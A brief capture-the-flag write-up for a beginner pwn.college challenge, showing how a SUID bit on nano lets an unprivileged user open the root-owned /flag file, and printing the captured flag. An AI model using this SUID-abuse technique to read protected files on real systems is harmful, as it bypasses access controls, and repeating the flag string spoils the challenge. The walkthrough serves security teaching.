Category: Program Misuse
Platform: pwn.college
Difficulty: Begineer Date: 2025-07-15
Author: Himanshu Parate

🧠 Summary:

The challenge abuses a SUID bit set on /usr/bin/nano, allowing an unprivileged user to read the root-owned flag file at /flag.

🔍 Enumeration

ls -l /usr/bin/nano

output:

-rwsr-xr-x 1 root root 47480 Sep  5  2019 /usr/bin/nano

-The s in -rws indicates it’s a SUID binary. -nano runs with root privileges.

🚀 Exploitation

The nano is a lightweight, beginner-friendly terminal text editor in Linux. It’s often preinstalled and is perfect for quick edits, scripts, and configuration files, so we can just use nano to read the flag.

nano /flag

Output:

pwn.college{40PG0OO3fRY0tXCw5bu8g6E_9QA.dFTNxwSM0IzMyEzW}